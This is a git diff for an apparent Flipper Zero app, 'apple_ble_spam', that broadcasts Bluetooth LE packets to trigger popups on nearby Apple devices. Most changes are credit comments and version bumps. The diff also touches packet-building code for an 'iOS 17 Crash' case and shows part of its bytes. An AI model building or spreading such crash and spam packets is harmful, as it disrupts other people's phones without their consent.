diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 22b5f152d..de6ee8b22 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -16,6 +16,7 @@ typedef struct { // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ @@ -686,10 +687,10 @@ static void draw_callback(Canvas* canvas, void* ctx) { 48, AlignLeft, AlignTop, - "App+spam by \e#WillyJL\e# XFW\n" - "Pair codes by \e#ECTO-1A\e#\n" - "BLE docs by \e#furiousMAC\e#\n" - " Version \e#1.1\e#", + "App+Spam by \e#WillyJL\e# XFW\n" + "IDs and Crash by \e#ECTO-1A\e#\n" + "Continuity by \e#furiousMAC\e#\n" + " Version \e#1.2\e#", false); break; default: { diff --git a/applications/external/apple_ble_spam/application.fam b/applications/external/apple_ble_spam/application.fam index 4bfcfac85..4aa508e98 100644 --- a/applications/external/apple_ble_spam/application.fam +++ b/applications/external/apple_ble_spam/application.fam @@ -15,6 +15,6 @@ App( ], fap_author="@Willy-JL & @ECTO-1A", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Firmware/tree/dev/applications/external/apple_ble_spam", - fap_version="1.1", + fap_version="1.2", fap_description="Spam Apple devices with annoying popups and notifications via BLE packets", ) diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index 9d6856adc..3e3616fb4 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -4,6 +4,7 @@ // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ @@ -139,8 +140,9 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { break; case ContinuityTypeCustomCrash: - i -= 2; // Override segment header + // Found by @ECTO-1A + i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Type packet[i++] = 0x05; // Length packet[i++] = 0xC1; // Action Flags diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h index 0437f5834..d582df761 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h @@ -5,6 +5,7 @@ // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/